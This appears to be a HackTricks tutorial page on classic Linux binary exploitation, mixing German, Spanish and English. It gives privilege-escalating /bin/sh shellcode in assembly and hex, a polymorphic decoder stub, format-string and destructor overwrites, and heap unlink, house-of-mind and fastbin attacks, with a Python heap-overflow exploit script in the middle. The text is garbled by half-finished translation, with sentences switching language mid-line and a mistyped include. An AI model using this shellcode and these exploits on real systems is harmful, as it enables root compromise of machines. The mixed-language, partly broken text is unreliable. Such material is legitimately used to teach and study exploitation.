hacktricks/exploiting/linux-exploiting-basic-esp/README.md

660 lines
40 KiB
Markdown
Raw Normal View History

# Linux Exploiting (Basic) (SPA)
2022-05-01 13:25:53 +00:00
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
Andere Möglichkeiten, HackTricks zu unterstützen:
2023-12-30 10:12:47 +00:00
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
2024-02-10 15:36:32 +00:00
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
2024-02-10 15:36:32 +00:00
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
2022-04-28 16:01:33 +00:00
</details>
2022-05-01 13:25:53 +00:00
## **2.SHELLCODE**
Siehe Kernel-Unterbrechungen: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_”
2022-02-28 09:13:08 +00:00
setreuid(0,0); // \_\_NR\_setreuid 70\
execve(“/bin/sh”, args\[], NULL); // \_\_NR\_execve 11\
exit(0); // \_\_NR\_exit 1
xor eax, eax ; löschen von eax\
xor ebx, ebx ; ebx = 0 da kein Argument übergeben wird\
2022-02-28 09:13:08 +00:00
mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\
int 0x80 ; Syscall ausführen
**nasm -f elf assembly.asm** —> Gibt uns eine .o-Datei zurück\
**ld assembly.o -o shellcodeout** —> Erzeugt eine ausführbare Datei aus dem Assemblercode, aus der wir die Opcodes mit **objdump** extrahieren können\
**objdump -d -Mintel ./shellcodeout** —> Um sicherzustellen, dass es sich tatsächlich um unseren Shellcode handelt und um die Opcodes zu extrahieren
**Überprüfen Sie, ob der Shellcode funktioniert**
```
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
void main(){
2024-02-10 15:36:32 +00:00
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
```
Para verificar, ob die Systemaufrufe korrekt ausgeführt werden, muss das vorherige Programm kompiliert werden und die Systemaufrufe sollten in **strace ./KOMPILIERTE\_PROGRAMM** erscheinen.
Beim Erstellen von Shellcodes kann ein Trick angewendet werden. Die erste Anweisung ist ein Sprung zu einem Aufruf. Der Aufruf ruft den Originalcode auf und legt zusätzlich den EIP im Stack ab. Nach der Aufrufanweisung haben wir den benötigten String platziert, sodass wir mit diesem EIP auf den String zeigen und den Code weiter ausführen können.
2024-02-10 15:36:32 +00:00
BEISPIEL **TRICK (/bin/sh)**:
```
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
xorl %eax, %eax ; eax = NULL
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
movl $0xb, %eax ; Syscall 11
movl %esi, %ebx ; arg1=“/bin/sh”
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
leal 0xc(%esi), %edx ; arg3 = NULL
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl %ebx, %ebx ; ebx = NULL
2024-02-10 15:36:32 +00:00
movl %ebx, %eax
inc %eax ; Syscall 1
int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
```
**EJ using the Stack(/bin/sh):**
**EJ mit dem Stack(/bin/sh):**
```
section .text
global _start
_start:
xor eax, eax ;Limpieza
mov al, 0x46 ; Syscall 70
xor ebx, ebx ; arg1 = 0
xor ecx, ecx ; arg2 = 0
int 0x80 ; setreuid(0,0)
xor eax, eax ; eax = 0
push eax ; “\0”
push dword 0x68732f2f ; “//sh”
push dword 0x6e69622f; “/bin”
mov ebx, esp ; arg1 = “/bin//sh\0”
push eax ; Null -> args[1]
push ebx ; “/bin/sh\0” -> args[0]
mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
```
**EJ FNSTENV:**
```
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
```
2024-02-10 15:36:32 +00:00
**Egg Hunter:**
Besteht aus einem kleinen Code, der die Speicherseiten eines Prozesses nach der darin gespeicherten Shellcode durchsucht (sucht nach einer Signatur im Shellcode). Nützlich in Fällen, in denen nur wenig Platz zum Einspritzen von Code zur Verfügung steht.
2024-02-10 15:36:32 +00:00
**Polymorphe Shellcodes**
Es handelt sich um verschlüsselte Shells, die über kleine Codes verfügen, die sie entschlüsseln und zu ihnen springen lassen, unter Verwendung des Call-Pop-Tricks, hier ein **Beispiel für eine Caesar-Verschlüsselung**:
```
global _start
_start:
2024-02-10 15:36:32 +00:00
jmp short magic
init:
2024-02-10 15:36:32 +00:00
pop esi
xor ecx, ecx
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
2024-02-10 15:36:32 +00:00
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub cl, 1
jnz desc
jmp short sc
magic:
2024-02-10 15:36:32 +00:00
call init
sc:
2024-02-10 15:36:32 +00:00
;Aquí va el shellcode
```
## **5. Zusätzliche Methoden**
2022-04-28 23:27:22 +00:00
**Ret2Ret**
Nützlich, wenn die Adresse des Stacks nicht in den EIP eingegeben werden kann (überprüfen, dass der EIP nicht 0xbf enthält) oder wenn der Speicherort des Shellcodes nicht berechnet werden kann. Wenn jedoch die anfällige Funktion einen Parameter akzeptiert (der Shellcode wird hier platziert).
Durch das Ändern des EIP in eine Adresse zu einem **ret** wird die nächste Adresse geladen (die Adresse des ersten Arguments der Funktion). Das bedeutet, dass der Shellcode geladen wird.
Der Exploit würde sein: SHELLCODE + Padding (bis zum EIP) + **\&ret** (die nächsten Bytes des Stacks zeigen auf den Beginn des Shellcodes, da die Adresse des übergebenen Parameters in den Stack eingefügt wird)
Es scheint, dass Funktionen wie **strncpy** nach Abschluss die Adresse, an der der Shellcode gespeichert war, vom Stack entfernen und diese Technik unmöglich machen. Mit anderen Worten, die Adresse, die der Funktion als Argument übergeben wird (die den Shellcode speichert), wird durch eine 0x00 ersetzt, sodass beim Aufruf des zweiten **ret** eine 0x00 gefunden wird und das Programm abstürzt.
**Murat-Technik**
In Linux werden alle Programme bei 0xbfffffff gemappt.
Durch Betrachten des Aufbaus des Stacks eines neuen Prozesses in Linux kann ein Exploit entwickelt werden, sodass das Programm in einer Umgebung gestartet wird, in der nur eine Variable vorhanden ist, nämlich der Shellcode. Die Adresse davon kann dann berechnet werden als: addr = 0xbfffffff - 4 - strlen(KOMPLETTER\_AUSFÜHRBARER\_NAME) - strlen(shellcode)
Auf diese Weise könnte die Adresse, an der sich die Umgebungsvariable mit dem Shellcode befindet, einfach erhalten werden.
Dies ist möglich, da die Funktion execle es ermöglicht, eine Umgebung zu erstellen, die nur die gewünschten Umgebungsvariablen enthält.
2024-02-10 15:36:32 +00:00
**Jump to ESP: Windows-Stil**
Da ESP immer auf den Anfang des Stacks zeigt, besteht diese Technik darin, den EIP durch die Adresse eines **jmp esp** oder **call esp** zu ersetzen. Auf diese Weise wird der Shellcode nach der Überschreibung des EIP gespeichert, da nach dem Ausführen des **ret** ESP auf die nächste Adresse zeigt, genau dort, wo der Shellcode gespeichert wurde.
Wenn ASLR in Windows oder Linux nicht aktiviert ist, können **jmp esp** oder **call esp** aus einem gemeinsam genutzten Objekt aufgerufen werden. Wenn ASLR aktiviert ist, könnte innerhalb des anfälligen Programms gesucht werden.
Darüber hinaus ermöglicht die Platzierung des Shellcodes nach der EIP-Korruption anstelle in der Mitte des Stacks, dass die push- oder pop-Anweisungen, die in der Funktion ausgeführt werden, die Shellcode nicht berühren (was passieren könnte, wenn sie in der Mitte des Stacks der Funktion platziert würden).
Sehr ähnlich dazu, wenn bekannt ist, dass eine Funktion die Adresse speichert, an der der Shellcode gespeichert ist, kann **call eax** oder **jmp eax (ret2eax)** aufgerufen werden.
2024-02-10 15:36:32 +00:00
**Integer-Überläufe**
2024-02-10 15:36:32 +00:00
Diese Art von Überläufen tritt auf, wenn eine Variable nicht darauf vorbereitet ist, eine so große Zahl wie die übergebene zu verarbeiten, möglicherweise aufgrund einer Verwechslung zwischen vorzeichenbehafteten und vorzeichenlosen Variablen, zum Beispiel:
2020-11-28 20:03:33 +00:00
```c
#include <stdion.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char *argv[]){
int len;
unsigned int l;
char buffer[256];
int i;
len = l = strtoul(argv[1], NULL, 10);
2020-11-28 20:03:33 +00:00
printf("\nL = %u\n", l);
printf("\nLEN = %d\n", len);
if (len >= 256){
2020-11-28 20:03:33 +00:00
printf("\nLongitus excesiva\n");
exit(1);
}
if(strlen(argv[2]) < l)
strcpy(buffer, argv[2]);
else
2020-11-28 20:03:33 +00:00
printf("\nIntento de hack\n");
return 0;
}
```
En el vorherigen Beispiel sehen wir, dass das Programm 2 Parameter erwartet. Der erste ist die Länge des folgenden Strings und der zweite ist der String.
Wenn wir als ersten Parameter eine negative Zahl übergeben, wird angezeigt, dass len < 256 ist und wir diesen Filter passieren, außerdem wird auch strlen(buffer) kleiner als l sein, da l ein unsigned int ist und sehr groß sein wird.
Diese Art von Overflows zielt nicht darauf ab, etwas im Prozess des Programms zu schreiben, sondern darauf, schlecht gestaltete Filter zu umgehen, um andere Schwachstellen auszunutzen.
2024-02-10 15:36:32 +00:00
**Nicht initialisierte Variablen**
Es ist nicht bekannt, welchen Wert eine nicht initialisierte Variable annehmen kann, und es könnte interessant sein, dies zu beobachten. Es könnte sein, dass sie den Wert annimmt, den eine Variable aus der vorherigen Funktion hatte und diese vom Angreifer kontrolliert wird.
##
###
###
###
2022-05-01 13:25:53 +00:00
### **.fini\_array**
Im Wesentlichen handelt es sich hierbei um eine Struktur mit **Funktionen, die aufgerufen werden**, bevor das Programm beendet wird. Dies ist interessant, wenn Sie Ihren **Shellcode aufrufen können, indem Sie einfach zu einer Adresse springen**, oder in Fällen, in denen Sie zurück zu main gehen müssen, um die **Format-String ein zweites Mal auszunutzen**.
```bash
objdump -s -j .fini_array ./greeting
./greeting: file format elf32-i386
Contents of section .fini_array:
2024-02-10 15:36:32 +00:00
8049934 a0850408
#Put your address in 0x8049934
```
Hinweis, dass dies **keine** **endlose Schleife** erzeugt, da der Canary bemerken wird, dass das Ende des Stacks möglicherweise beschädigt ist und die Funktion nicht erneut aufgerufen wird. Daher können Sie mit diesem **eine weitere Ausführung** der Schwachstelle haben.
### **Format Strings zum Auslesen von Inhalten**
Ein Format-String kann auch missbraucht werden, um Inhalte aus dem Speicher des Programms auszulesen.\
Zum Beispiel gibt es in der folgenden Situation eine **lokale Variable im Stack, die auf eine Flagge zeigt**. Wenn Sie herausfinden, wo im **Speicher** der **Zeiger** auf die **Flagge** ist, können Sie **printf** dazu bringen, auf diese **Adresse zuzugreifen** und die **Flagge** auszugeben:
Also, die Flagge ist in **0xffffcf4c**
![](<../../.gitbook/assets/image (618) (2).png>)
Und aus dem Leak können Sie sehen, dass der **Zeiger auf die Flagge** im **8. Parameter** liegt:
![](<../../.gitbook/assets/image (623).png>)
Daher können Sie durch **Zugriff auf den 8. Parameter** die Flagge erhalten:
![](<../../.gitbook/assets/image (624).png>)
Beachten Sie, dass Sie nach dem **vorherigen Exploit** und der Feststellung, dass Sie **Inhalte auslesen** können, **Zeiger** auf **`printf`** in den Abschnitt setzen können, in dem das **ausführbare** Programm **geladen** ist, und es **vollständig auslesen**!
### **DTOR**
{% hint style="danger" %}
Heutzutage ist es sehr **selten, ein Binärprogramm mit einem dtor-Abschnitt zu finden**.
{% endhint %}
Die Destruktoren sind Funktionen, die **ausgeführt werden, bevor das Programm beendet wird**.\
Wenn es Ihnen gelingt, eine **Adresse** zu einem **Shellcode** in **`__DTOR_END__`** zu **schreiben**, wird dies **ausgeführt**, bevor das Programm endet.\
Holen Sie sich die Adresse dieses Abschnitts mit:
```bash
objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR”
```
In der Regel finden Sie den **DTOR**-Abschnitt **zwischen** den Werten `ffffffff` und `00000000`. Wenn Sie also nur diese Werte sehen, bedeutet das, dass **keine Funktion registriert ist**. Überschreiben Sie also die **`00000000`** mit der **Adresse** des **Shellcodes**, um ihn auszuführen.
### **Format Strings für Buffer Overflows**
Die **sprintf**-Funktion kopiert einen formatierten String **in** eine **Variable**. Daher könnten Sie die **Formatierung** eines Strings missbrauchen, um einen **Buffer Overflow in der Variable** zu verursachen.\
Beispielsweise schreibt das Payload `%.44xAAAA` 44B+"AAAA" in die Variable, was einen Buffer Overflow verursachen kann.
2024-02-10 15:36:32 +00:00
### **\_\_atexit-Strukturen**
{% hint style="danger" %}
Heutzutage ist es sehr **seltsam, dies auszunutzen**.
{% endhint %}
**`atexit()`** ist eine Funktion, der **andere Funktionen als Parameter übergeben werden**. Diese **Funktionen** werden ausgeführt, wenn ein **`exit()`** ausgeführt wird oder das **Hauptprogramm beendet wird**.\
Wenn Sie die **Adresse** einer dieser **Funktionen** beispielsweise auf einen Shellcode zeigen lassen können, werden Sie die **Kontrolle über den Prozess erlangen**, aber dies ist derzeit komplizierter.\
Derzeit sind die **Adressen der auszuführenden Funktionen** hinter mehreren Strukturen versteckt, und schließlich zeigen die Adressen, auf die sie zeigen, nicht auf die Adressen der Funktionen, sondern sind **verschlüsselt mit XOR** und Verschiebungen mit einem **zufälligen Schlüssel**. Daher ist dieser Angriffsvektor derzeit **zumindest auf x86** und **x64\_86** nicht sehr nützlich.\
Die **Verschlüsselungsfunktion** ist **`PTR_MANGLE`**. **Andere Architekturen** wie m68k, mips32, mips64, aarch64, arm, hppa... **implementieren die Verschlüsselungsfunktion nicht**, da sie das Gleiche zurückgeben wie sie als Eingabe erhalten haben. Daher wären diese Architekturen durch diesen Vektor angreifbar.
2022-05-01 13:25:53 +00:00
### **setjmp() & longjmp()**
{% hint style="danger" %}
Heutzutage ist es sehr **seltsam, dies auszunutzen**.
{% endhint %}
**`Setjmp()`** ermöglicht es, den **Kontext** (die Register) zu **speichern**.\
**`longjmp()`** ermöglicht es, den **Kontext** zu **wiederherstellen**.\
Die **gespeicherten Register** sind: `EBX, ESI, EDI, ESP, EIP, EBP`\
Das Problem ist, dass EIP und ESP durch die **`PTR_MANGLE`**-Funktion übergeben werden, daher sind die **Architekturen, die anfällig für diesen Angriff sind, die gleichen wie oben**.\
Sie sind nützlich für Fehlerbehebung oder Unterbrechungen.\
Jedoch sind nach meinen Recherchen die anderen Register nicht geschützt, **so dass, wenn es ein `call ebx`, `call esi` oder `call edi`** innerhalb der aufgerufenen Funktion gibt, die Kontrolle übernommen werden kann. Oder Sie könnten auch EBP ändern, um ESP zu ändern.
2024-02-10 15:36:32 +00:00
**VTable und VPTR in C++**
Jede Klasse hat eine **Vtable**, die ein Array von **Methodenpointern** ist.
Jedes Objekt einer **Klasse** hat einen **VPtr**, der ein **Pointer** auf das Array seiner Klasse ist. Der VPtr ist Teil des Headers jedes Objekts, daher könnte, wenn eine **Überschreibung** des **VPtr** erreicht wird, dieser so **geändert** werden, dass er auf eine Dummy-Methode zeigt, sodass beim Ausführen einer Funktion der Shellcode aufgerufen wird.
## **Präventivmaßnahmen und Umgehungen**
###
**Ersetzen von Libsafe**
Aktivieren mit: LD\_PRELOAD=/lib/libsafe.so.2\
oder\
“/lib/libsave.so.2” > /etc/ld.so.preload
Einige unsichere Funktionen werden durch sichere Funktionen ersetzt. Nicht standardisiert. (nur für x86, nicht für Kompilierungen mit -fomit-frame-pointer, nicht für statische Kompilierungen, nicht alle anfälligen Funktionen werden sicher gemacht und LD\_PRELOAD funktioniert nicht bei SUID-Binärdateien).
**ASCII-geschützter Adressraum**
Lädt gemeinsam genutzte Bibliotheken von 0x00000000 bis 0x00ffffff, damit immer ein Byte 0x00 vorhanden ist. Dies hält jedoch kaum einen Angriff auf, insbesondere nicht in Little Endian.
**ret2plt**
Führt ein ROP aus, bei dem die Funktion strcpy@plt (aus der plt) aufgerufen wird und auf den Eintrag in der GOT gezeigt wird und das erste Byte der zu aufrufenden Funktion (system()) kopiert wird. Anschließend wird dasselbe mit GOT+1 gemacht und das 2. Byte von system() kopiert... Schließlich wird die in der GOT gespeicherte Adresse aufgerufen, die system() sein wird.
**Chroot-Käfige**
debootstrap -arch=i386 hardy /home/user —> Installiert ein grundlegendes System unter einem bestimmten Unterverzeichnis
Ein Administrator kann aus einem dieser Käfige ausbrechen, indem er: mkdir foo; chroot foo; cd ..
**Codeinstrumentierung**
Valgrind —> Sucht nach Fehlern\
Memcheck\
RAD (Return Address Defender)\
Insure++
## **8 Heap Overflows: Grundlegende Exploits**
**Zugewiesenes Stück**
prev\_size |\
size | —Header\
\*mem | Daten
**Freies Stück**
prev\_size |\
size |\
\*fd | Ptr vorwärts Chunk\
\*bk | Ptr rückwärts Chunk —Header\
\*mem | Daten
Die freien Stücke sind in einer doppelt verketteten Liste (bin) und es dürfen niemals zwei freie Stücke nebeneinander sein (sie werden zusammengeführt).
Im "size"-Feld gibt es Bits, um anzuzeigen: ob das vorherige Stück verwendet wird, ob das Stück über mmap() zugewiesen wurde und ob das Stück zum primären Arena gehört.
Wenn ein Stück freigegeben wird und eines der benachbarten Stücke frei ist, werden sie durch die Makro unlink() fusioniert und das größere neue Stück wird an frontlink() übergeben, um es in den entsprechenden Bin einzufügen.
unlink(){\
BK = P->bk; —> Das BK des neuen Chunks ist das, was das zuvor freie Stück hatte\
FD = P->fd; —> Das FD des neuen Chunks ist das, was das zuvor freie Stück hatte\
FD->bk = BK; —> Das BK des nächsten Chunks zeigt auf den neuen Chunk\
BK->fd = FD; —> Das FD des vorherigen Chunks zeigt auf den neuen Chunk\
}
Daher, wenn es gelingt, P->bk mit der Adresse eines Shellcodes und P->fd mit der Adresse eines Eintrags in der GOT oder DTORS minus 12 zu ändern, wird erreicht:
BK = P->bk = \&shellcode\
FD = P->fd = &\_\_dtor\_end\_\_ - 12\
FD->bk = BK -> \*((&\_\_dtor\_end\_\_ - 12) + 12) = \&shellcode
Dadurch wird der Shellcode beim Verlassen des Programms ausgeführt.
Außerdem schreibt die 4. Anweisung von unlink() etwas und der Shellcode muss dafür angepasst werden:
BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> Dies führt dazu, dass 4 Bytes ab dem 8. Byte des Shellcodes geschrieben werden, daher sollte das erste Instruction des Shellcodes ein Sprungbefehl sein, um dies zu überspringen und zu den Nops zu gelangen, die zum Rest des Shellcodes führen.
2024-02-10 15:36:32 +00:00
Daher wird der Exploit erstellt:
Im Puffer1 wird der Shellcode platziert, beginnend mit einem Sprungbefehl, damit er zu den Nops oder zum Rest des Shellcodes gelangt.
Nach dem Shellcode wird Füllmaterial eingefügt, bis die Felder prev\_size und size des nächsten Stücks erreicht sind. An diesen Stellen werden 0xfffffff0 (um prev\_size zu überschreiben, damit das Bit angezeigt wird, dass es frei ist) und "-4" (0xfffffffc) in die size eingefügt (damit, wenn im 3. Stück überprüft wird, ob das 2. Stück frei ist, tatsächlich auf die modifizierte prev\_size zugegriffen wird, die angibt, dass es frei ist) -> Wenn also free() überprüft, wird es zur size des 3. Stücks gehen, aber tatsächlich zum 2. - 4. und denken, dass das 2. Stück frei ist. Dann wird **unlink()** aufgerufen.
Beim Aufruf von unlink() werden die ersten Daten des 2. Stücks als P->fd verwendet, sodass die Adresse, die überschrieben werden soll, - 12 (weil FD->bk 12 zur in FD gespeicherten Adresse hinzufügt) dort eingefügt wird. An dieser Stelle wird die zweite Adresse im 2. Stück eingefügt, die die Adresse des Shellcodes sein soll (falsches P->bk).
**from struct import \***
**import os**
**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de relleno**
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
**"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\**
**"\x80\xe8\xdc\xff\xff\xff/bin/sh";**
**prev\_size = pack("\<I”, 0xfffffff0) #Interesa que el bit que indica que el anterior trozo está libre esté a 1**
**fake\_size = pack("\<I”, 0xfffffffc) #-4, para que piense que el “size” del 3º trozo está 4bytes detrás (apunta a prev\_size) pues es ahí donde mira si el 2º trozo está libre**
**addr\_sc = pack("\<I", 0x0804a008 + 8) #En el payload al principio le vamos a poner 8bytes de relleno**
**got\_free = pack("\<I", 0x08048300 - 12) #Dirección de free() en la plt-12 (será la dirección que se sobrescrita para que se lanza la shellcode la 2º vez que se llame a free)**
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) # Como se dijo el payload comienza con 8 bytes de relleno porque sí**
**payload += prev\_size + fake\_size + got\_free + addr\_sc #Se modifica el 2º trozo, el got\_free apunta a donde vamos a guardar la direccion addr\_sc + 12**
**os.system("./8.3.o " + payload)**
**unset() liberando en sentido inverso (wargame)**
2024-02-10 15:36:32 +00:00
Wir kontrollieren 3 aufeinanderfolgende Chunks und geben sie in umgekehrter Reihenfolge frei.
2024-02-10 15:36:32 +00:00
In diesem Fall:
Im Chunk c wird der Shellcode platziert.
Der Chunk a wird verwendet, um das b zu überschreiben, so dass das Bit PREV\_INUSE deaktiviert wird, damit der Chunk a als frei betrachtet wird.
Darüber hinaus wird die Größe im Header b überschrieben, damit sie -4 beträgt.
Dann wird das Programm denken, dass "a" frei ist und in einem Bin liegt, und unlink() aufrufen, um es zu entkoppeln. Da jedoch die Kopfgröße PREV\_SIZE -4 beträgt, wird angenommen, dass der "a"-Chunk tatsächlich bei b+4 beginnt. Das heißt, es wird ein unlink() auf einen Chunk durchgeführt, der bei b+4 beginnt. Daher wird bei b+12 der "fd"-Zeiger und bei b+16 der "bk"-Zeiger sein.
Auf diese Weise, wenn wir die Adresse des Shellcodes in bk und die Adresse der Funktion "puts()"-12 in fd setzen, haben wir unser Payload.
2024-02-10 15:36:32 +00:00
**Frontlink-Technik**
Frontlink wird aufgerufen, wenn etwas freigegeben wird und keiner seiner benachbarten Chunks frei ist. Es wird unlink() nicht aufgerufen, sondern direkt frontlink().
Eine nützliche Schwachstelle, wenn der angegriffene malloc nie freigegeben (free()) wird.
Benötigt werden:
Ein Puffer, der mit der Eingabefunktion überlaufen kann
Ein benachbarter Puffer, der freigegeben werden muss und dessen Kopf-FD-Feld durch den Überlauf des vorherigen Puffers geändert wird
Ein Puffer, der größer als 512, aber kleiner als der vorherige Puffer freigegeben wird
Ein vor dem Schritt 3 deklarierter Puffer, der das prev\_size dieses Puffers überschreiben kann
Durch das Überschreiben von zwei mallocs auf unkontrollierte Weise und eines auf kontrollierte Weise, der nur einmal freigegeben wird, können wir einen Exploit durchführen.
**Vulnerabilität double free()**
Wenn free() zweimal mit demselben Zeiger aufgerufen wird, zeigen zwei Bins auf dieselbe Adresse.
Wenn einer erneut verwendet werden soll, wird er ohne Probleme zugewiesen. Wenn der andere verwendet werden soll, wird ihm derselbe Speicherplatz zugewiesen, sodass die "fd"- und "bk"-Zeiger mit den Daten gefälscht werden, die die vorherige Reservierung schreiben wird.
**After free()**
2024-02-10 15:36:32 +00:00
Ein zuvor freigegebener Zeiger wird erneut ohne Kontrolle verwendet.
## **8 Heap Overflows: Fortgeschrittene Exploits**
Die Techniken Unlink() und FrontLink() wurden entfernt, als die Funktion unlink() geändert wurde.
2022-04-28 23:27:22 +00:00
**The house of mind**
Es ist nur ein Aufruf von free() erforderlich, um die Ausführung beliebigen Codes zu verursachen. Es ist wichtig, einen zweiten Chunk zu finden, der von einem vorherigen überlaufen und freigegeben werden kann.
Ein Aufruf von free() führt dazu, dass public\_fREe(mem) aufgerufen wird, das Folgendes ausführt:
2022-02-28 09:13:08 +00:00
mstate ar\_ptr;
mchunkptr p;
2024-02-10 15:36:32 +00:00
p = mem2chunk(mes); —> Gibt einen Zeiger auf die Adresse zurück, an der der Chunk beginnt (mem-8)
2022-02-28 09:13:08 +00:00
ar\_ptr = arena\_for\_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for\_ptr(ptr)->ar\_ptr:\&main\_arena \[1]
2022-02-28 09:13:08 +00:00
\_int\_free(ar\_ptr, mem);
}
In \[1] wird das Feld size und das Bit NON\_MAIN\_ARENA überprüft, das geändert werden kann, damit die Überprüfung true zurückgibt und heap\_for\_ptr() ausgeführt wird, das ein "and" auf "mem" ausführt und die 2,5 unwichtigsten Bytes auf 0 setzt (in unserem Fall von 0x0804a000 auf 0x08000000) und auf 0x08000000->ar\_ptr zugreift (als ob es ein struct heap\_info wäre).
Auf diese Weise können wir beispielsweise einen Chunk bei 0x0804a000 kontrollieren und einen Chunk bei **0x081002a0** freigeben, um zur Adresse 0x08100000 zu gelangen und beispielsweise **0x0804a000** zu schreiben. Wenn dieser zweite Chunk freigegeben wird, wird heap\_for\_ptr(ptr)->ar\_ptr den Wert zurückgeben, den wir in 0x08100000 geschrieben haben (da der "and"-Operator auf 0x081002a0 angewendet wird und von dort der Wert der ersten 4 Bytes, ar\_ptr, abgeleitet wird).
Daher wird \_int\_free(ar\_ptr, mem) aufgerufen, d.h. **\_int\_free(0x0804a000, 0x081002a0)**\
2022-02-28 09:13:08 +00:00
**\_int\_free(mstate av, Void\_t\* mem){**\
…\
2022-02-28 09:13:08 +00:00
bck = unsorted\_chunks(av);\
fwd = bck->fd;\
p->bk = bck;\
p->fd = fwd;\
bck->fd = p;\
fwd->bk = p;
..}
Wie wir zuvor gesehen haben, können wir den Wert von av kontrollieren, da wir ihn in dem Chunk geschrieben haben, der freigegeben wird.
2024-02-10 15:36:32 +00:00
Wie unsorted\_chunks definiert ist, wissen wir, dass:\
bck = \&av->bins\[2]-8;\
fwd = bck->fd = \*(av->bins\[2]);\
fwd->bk = \*(av->bins\[2] + 12) = p;
Daher, wenn wir in av->bins\[2] den Wert von \_\_DTOR\_END\_\_-12 schreiben, wird in der letzten Anweisung in \_\_DTOR\_END\_\_ die Adresse des zweiten Chunks geschrieben.
Das heißt, wir müssen am Anfang des ersten Chunks viele Male die Adresse von \_\_DTOR\_END\_\_-12 setzen, weil av->bins\[2] sie von dort abrufen wird.
An der Adresse, an der die Adresse des zweiten Chunks mit den letzten 5 Nullen landet, müssen wir die Adresse dieses ersten Chunks setzen, damit heap\_for\_ptr() denkt, dass ar\_ptr am Anfang des ersten Chunks liegt und av->bins\[2] von dort abruft.
Im zweiten Chunk und dank des ersten überschreiben wir prev\_size mit einem Sprung von 0x0c und size mit etwas, um -> NON\_MAIN\_ARENA zu aktivieren.
Dann fügen wir im zweiten Chunk viele Nops hinzu und schließlich den Shellcode ein.
Auf diese Weise wird \_int\_free(CHUNK1, CHUNK2) aufgerufen und die Anweisungen zum Schreiben in \_\_DTOR\_END\_\_ der Adresse von prev\_size des CHUNK2, der dann zum Shellcode springt, ausgeführt.
Para apply this technique, some additional requirements need to be met, which complicate the payload further.
This technique is no longer applicable as almost the same patch as for unlink was applied. It compares if the new site being pointed to is also pointing back to it.
**Fastbin**
It is a variant of The house of mind.
We are interested in executing the following code, which is reached after the first check of the \_int\_free() function:
fb = &(av->fastbins\[fastbin\_index(size)] —> Being fastbin\_index(sz) —> (sz >> 3) - 2
...
p->fd = \*fb
\*fb = p
This way, if "fb" is set to a function address in the GOT, the overwritten chunk will be placed at this address. For this to work, the arena needs to be close to the dtors addresses. More precisely, av->max\_fast needs to be at the address we are going to overwrite.
Since with The House of Mind we saw that we controlled the position of av.
So, if we set a size of 8 + NON\_MAIN\_ARENA + PREV\_INUSE in the size field, fastbin\_index() will return fastbins\[-1\], which will point to av->max\_fast.
In this case, av->max\_fast will be the address to be overwritten (not the one it points to, but that position will be overwritten).
Additionally, the chunk adjacent to the freed one must be larger than 8 -> Since we have stated that the size of the freed chunk is 8, in this fake chunk, we just need to put a size larger than 8 (also, since the shellcode will be in the freed chunk, we need to put a jmp at the beginning that falls into nops).
Moreover, this same fake chunk must be smaller than av->system\_mem. av->system\_mem is located 1848 bytes beyond.
Due to the nulls of \_DTOR\_END\_ and the few addresses in the GOT, none of these sections' addresses are suitable for overwriting. Let's see how to apply fastbin to attack the stack.
Another way of attack is redirecting the **av** to the stack.
If we modify the size to be 16 instead of 8, then: fastbin\_index() will return fastbins\[0\], and we can use this to overwrite the stack.
For this, there should be no canary or weird values on the stack; in fact, we need to find this: 4 null bytes + EBP + RET
The 4 null bytes are needed for the **av** to be at this address, and the first element of an **av** is the mutex, which must be 0.
The **av->max\_fast** will be the EBP and will be a value that will help us bypass the restrictions.
